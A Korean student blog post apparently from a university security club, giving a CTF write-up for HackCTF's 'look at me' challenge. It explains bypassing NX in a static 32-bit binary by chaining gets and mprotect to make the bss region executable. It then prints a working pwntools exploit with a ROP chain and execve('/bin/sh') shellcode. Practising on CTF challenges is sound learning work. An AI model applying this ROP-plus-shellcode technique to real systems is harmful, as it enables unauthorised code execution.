Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- lob
- 백준
- c
- C언어
- Sookmyung Information Security Study
- 머신러닝
- BOJ
- CSS
- 자료구조 복습
- 풀이
- 웹페이지 만들기
- 숙명여자대학교 정보보안동아리
- c++
- 기계학습
- Javascript
- siss
- PHP 웹페이지 만들기
- 파이썬
- hackctf
- 숙명여자대학교 정보보안 동아리
- BOJ Python
- HTML
- SWEA
- WarGame
- hackerrank
- 생활코딩
- 드림핵
- XSS Game
- Python
- The Loard of BOF
Archives
- Today
- Total
혜랑's STORY
[HackCTF] look at me 풀이 본문
1. checksec
32bit 파일이고 NX와 Partial RELRO가 걸려있다. 지난주에 배웠던 SROP를 사용하여 문제를 풀어보자.
2. IDA
main() 함수
look_at_me() 함수
IDA를 통해 바이너리를 열어 보았는데 함수의 개수가 923개로 매우 많았다. 왜 그런지 리눅스 file 명령어를 통해 알아보자.
statically linked 파일은 필요한 모든 함수가 바이너리 안에 모두 내장되어 있다. 따라서 파일의 크기는 크지만 함수 주소를 쉽게 구할 수 있다. 그러나 system 함수는 존재하지 않기 때문에 다른 방법을 통해 "/bin/sh"를 실행시켜야 한다.
[새로운 개념 : mprotect]
mprotect 함수는 NX bit같은 특정 메모리 실행 권한을 변경할 수 있는 함수이다. 따라서 보호 기법이 걸려 있어도 사용자가 이 함수를 호출해 쉘 코드를 실행시킬 수 있는 환경을 만들 수 있다. 따라서 이 함수를 실행시키고 고정 주소인 bss 영역에 쉘 코드를 입력하면 된다.
주의해야 할 점은 mprotect의 인자가 권한을 변경할 시작 주소, 길이, rwx 권한인데 첫 번째 인자인 주소가 0x1000의 배수이어야 한다. 따라서 주소 뒤 3자리는 000이어야 한다.
3. 구해야 할 목록
- mprotect
- gets
- bss
mprotect의 주의할 점을 고려하여 bss의 주소로는 0x080eaf80 전인 0x080ea000부터 사용하면 된다.
- gadgets
- pop ebx; ret;
- pop esi; pop edi; pop ebp; ret;
Exploit Code
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3017)
#p = process('./lookatme')
mprotect = 0x0806e0f0
gets = 0x0804f120
bss = 0x080eaf80
bss_start = 0x080ea000
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
pr = 0x080583bf
pppr = 0x08091e77
p.recvline()
payload = 'A'*28
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)
payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(0x2000)
payload += p32(0x7)
payload += p32(bss)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
성공했다!
'2021 SISS 21기 활동 > 여름방학 System' 카테고리의 다른 글
[Lazenca] Return-to-csu (feat.JIT ROP) - x64 (0) | 2021.07.23 |
---|---|
[HAckCTF] sysrop 풀이 (0) | 2021.07.17 |
[0x41414141 CTF] moving signals 풀이 (0) | 2021.07.10 |
[Lazenca] SROP(Sigreturn-oriented programming) - x64 (0) | 2021.07.10 |
[Lazenca] SROP(Sigreturn-oriented programming) - x86 (0) | 2021.07.10 |